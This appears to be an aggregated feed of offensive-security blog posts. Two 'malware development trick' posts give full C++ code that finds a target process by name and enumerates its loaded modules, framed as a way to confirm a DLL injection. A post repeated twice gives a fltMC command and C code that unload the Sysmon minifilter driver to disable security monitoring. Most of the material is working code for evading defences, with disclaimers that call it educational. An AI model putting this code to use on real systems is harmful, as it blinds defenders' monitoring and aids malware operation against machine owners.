Normal view

There are new articles available, click to refresh the page.
Before yesterdayPentest/Red Team

Malware development trick - part 37: Enumerate process modules via VirtualQueryEx. Simple C++ example.

7 November 2023 at 00:30

Hello, cybersecurity enthusiasts and white hackers!

hack

Today, this post is the result of my own research on another popular malware development trick: get list of modules of target process.

It’s similar to my previous post about enum list of modules, but in this case I used VirtualQueryEx

practical example

First of all, we just use one of the methods to find target process PID. For example I used this one:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

Then, create function which opens a specified process, iterates through its memory regions using VirtualQueryEx, and retrieves information about the loaded modules, including their names and base addresses:

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {
  HANDLE ph;
  MEMORY_BASIC_INFORMATION mbi;
  char * base = NULL;

  ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
  if (ph == NULL)
    return -1;

  printf("modules found:\n");
  printf("name\t\t\t base address\n");
  printf("=================================================================================\n");

  while (VirtualQueryEx(ph, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
    char szModName[MAX_PATH];

    // only focus on the base address regions
    if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
      if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR)))
        printf("%#25s\t\t%#10llx\n", szModName, (unsigned long long)mbi.AllocationBase);
      }
      // check the next region
      base += mbi.RegionSize;
    }
  
  CloseHandle(ph);
  return 0;
}

As you can see, the code enters a while loop that continues as long as the VirtualQueryEx function successfully retrieves memory information. This loop iterates through memory regions within the target process.

Then checks whether the AllocationBase of the current memory region matches the BaseAddress. This condition ensures that it only focuses on the base address regions. If the conditions are met, it proceeds to retrieve the module name.

if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR))) - The GetModuleFileNameEx function is called to retrieve the module filename associated with the current memory region’s base address. If successful, it stores the filename in szModName.

If the module name retrieval was successful, the code prints the module name and base address in a formatted manner.

After processing the current region, the base pointer is incremented by the size of the region to check the next region in the subsequent iteration of the loop.

That’s all.

So, the full source code is looks like this (hack.c):

/*
 * hack.c - get the list of 
 * modules of the process via VirtualQueryEx. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/11/07/malware-tricks-37.html
*/
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <psapi.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {
  HANDLE ph;
  MEMORY_BASIC_INFORMATION mbi;
  char * base = NULL;

  ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
  if (ph == NULL)
    return -1;

  printf("modules found:\n");
  printf("name\t\t\t base address\n");
  printf("=================================================================================\n");

  while (VirtualQueryEx(ph, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
    char szModName[MAX_PATH];

    // only focus on the base address regions
    if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
      if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR)))
        printf("%#25s\t\t%#10llx\n", szModName, (unsigned long long)mbi.AllocationBase);
      }
      // check the next region
      base += mbi.RegionSize;
    }
  
  CloseHandle(ph);
  return 0;
}

int main(int argc, char* argv[]) {
  int pid = 0; // process ID
  pid = findMyProc(argv[1]);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  if (pid != 0)
    listModulesOfProcess(pid);
  return 0;
}

demo

Let’s go to see this logic in action.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi

hack

Then, open target process in the victim’s machine:

hack

And just run our hack.exe:

.\hack.exe mspaint.exe

hack

hack

As you can see, everything is worked perfectly! =^..^=

Keep in mind that this code may have limitations and dependencies on specific Windows APIs. Additionally, it relies on the process name for identification, which may not be unique.

This code can also help you develop your own script to work with process memory, for example for forensics or other tasks on blue team practical cases.

I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

VirtualQueryEx
GetModuleFileNameEx
Find process ID by name and inject to it
Find PID via NtGetNextProcess
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development trick - part 36: Enumerate process modules. Simple C++ example.

25 September 2023 at 00:30

Hello, cybersecurity enthusiasts and white hackers!

hack

Today, this post is the result of my own research on another popular malware development trick: get list of modules of target process.

Let’s say we created successfully DLL injection to process. How to check if DLL in list of modules of our process?

hack

practical example

First of all, we just use one of the methods to find target process PID. For example I used this one:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

Then, just use Module32First and Module32Next functions from Windows API.

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {

  HANDLE mod;
  MODULEENTRY32 me32;

  mod = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
  if (mod == INVALID_HANDLE_VALUE) { 
    printf("CreateToolhelp32Snapshot error :(\n"); 
    return -1; 
  }

  me32.dwSize = sizeof(MODULEENTRY32); 
  if (!Module32First(mod, &me32)) {
    CloseHandle(mod);
    return -1;
  }
  
  printf("modules found:\n");
  printf("name\t\t\t base address\t\t\tsize\n");
  printf("=================================================================================\n");
  do {
    printf("%#25s\t\t%#10llx\t\t%#10d\n", me32.szModule, me32.modBaseAddr, me32.modBaseSize);
  } while (Module32Next(mod, &me32));
  CloseHandle(mod);
  return 0;
}

As you can see, the code is a bit similar to the PID search logic with CreateToolHelp32Snapshot, Process32First and Process32Next.

So, the full source code is looks like this (hack.c):

/*
 * hack.c - get the list of modules of the process. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/09/25/malware-tricks-36.html
*/
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <psapi.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {

  HANDLE mod;
  MODULEENTRY32 me32;

  mod = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
  if (mod == INVALID_HANDLE_VALUE) { 
    printf("CreateToolhelp32Snapshot error :(\n"); 
    return -1; 
  }

  me32.dwSize = sizeof(MODULEENTRY32); 
  if (!Module32First(mod, &me32)) {
    CloseHandle(mod);
    return -1;
  }
  
  printf("modules found:\n");
  printf("name\t\t\t base address\t\t\tsize\n");
  printf("=================================================================================\n");
  do {
    printf("%#25s\t\t%#10llx\t\t%#10d\n", me32.szModule, me32.modBaseAddr, me32.modBaseSize);
  } while (Module32Next(mod, &me32));
  CloseHandle(mod);
  return 0;
}

int main(int argc, char* argv[]) {
  int pid = 0; // process ID
  pid = findMyProc(argv[1]);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  if (pid != 0)
    listModulesOfProcess(pid);
  return 0;
}

You can use this code to check if a DLL is in the list of modules of the target process.

demo

Let’s go to see this logic in action.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lshlwapi

hack

Then, open target process in the victim’s machine:

hack

hack

And just run our hack.exe:

.\hack.exe mspaint.exe

hack

hack

hack

Also, check with DLL injection logic:

hack

As you can see, everything is worked perfectly! =^..^=

Keep in mind that this code may have limitations and dependencies on specific Windows APIs. Additionally, it relies on the process name for identification, which may not be unique.

This trick is used by 4H RAT and Aria-body in the wild.

I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

Find process ID by name and inject to it
Find PID via NtGetNextProcess
4H RAT
Aria-body
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Unloading the Sysmon Minifilter Driver

22 September 2019 at 14:51

The binary fltMC.exe is used to manage minifilter drivers. You can easily load and unload minifilters using this binary. To unload the Sysmon driver you can use:

fltMC unload SysmonDrv

If this binary is flagged, we can unload the minifilter driver by calling the ‘FilterUnload’ which is the Win32 equivalent of ‘FltUnloadFilter’. It will call the minifilter’s ‘FilterUnloadCallback’ (PFLT_FILTER_UNLOAD_CALLBACK) routine. This is as same as using fltMC which is a Non-mandatory unload.
For calling this API SeLoadDriverPrivilege is required. To obtain this privelege adminsitrative permissions are required.

Here’s a simple C code I wrote to call the ‘FilterUnload’ API.

https://github.com/OsandaMalith/WindowsInternals/blob/master/Unload_Minifilter.c

[gist https://gist.github.com/OsandaMalith/3315bc640ff51227ab067052bc20a445]

Note that when unloading a minifilter driver by the FilterManager, it will be logged under the System log.

References:
https://www.osr.com/nt-insider/2017-issue2/introduction-standard-isolation-minifilters/

Unloading the Sysmon Minifilter Driver

22 September 2019 at 14:51

The binary fltMC.exe is used to manage minifilter drivers. You can easily load and unload minifilters using this binary. To unload the Sysmon driver you can use:

fltMC unload SysmonDrv

If this binary is flagged, we can unload the minifilter driver by calling the ‘FilterUnload’ which is the Win32 equivalent of ‘FltUnloadFilter’. It will call the minifilter’s ‘FilterUnloadCallback’ (PFLT_FILTER_UNLOAD_CALLBACK) routine. This is as same as using fltMC which is a Non-mandatory unload.
For calling this API SeLoadDriverPrivilege is required. To obtain this privelege adminsitrative permissions are required.

Here’s a simple C code I wrote to call the ‘FilterUnload’ API.

https://github.com/OsandaMalith/WindowsInternals/blob/master/Unload_Minifilter.c

#include "stdafx.h"
#include <Windows.h>
#include <fltuser.h>
#pragma comment(lib,"FltLib.lib")
/*
Author: Osanda Malith Jayathissa (@OsandaMalith)
Website: https://osandamalith.com
Description: Unloading a minifilter driver by calling the FilterUnload which is the Win32 equivalent of FltUnloadFilter.
It will call the minifilter's FilterUnloadCallback (PFLT_FILTER_UNLOAD_CALLBACK) routine.
In this code we are unloading the "SysmonDrv" minifilter.
You need administrative privs to escalete to SeLoadDriverPrivilege.
*/
typedef NTSTATUS(WINAPI *_RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
int _tmain(int argc, _TCHAR* argv[]) {
ULONG t;
HRESULT unload;
LPCWSTR driver = L"SysmonDrv";
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
RtlAdjustPrivilege(012, TRUE, FALSE, &t);
unload = FilterUnload(driver);
wprintf(L"%ls", unload == S_OK ?
L"Minifilter Successfully Unloaded" :
L"An Error Occured. Check Privs."
);
return 0;
}

Note that when unloading a minifilter driver by the FilterManager, it will be logged under the System log.

References:
https://www.osr.com/nt-insider/2017-issue2/introduction-standard-isolation-minifilters/

❌
❌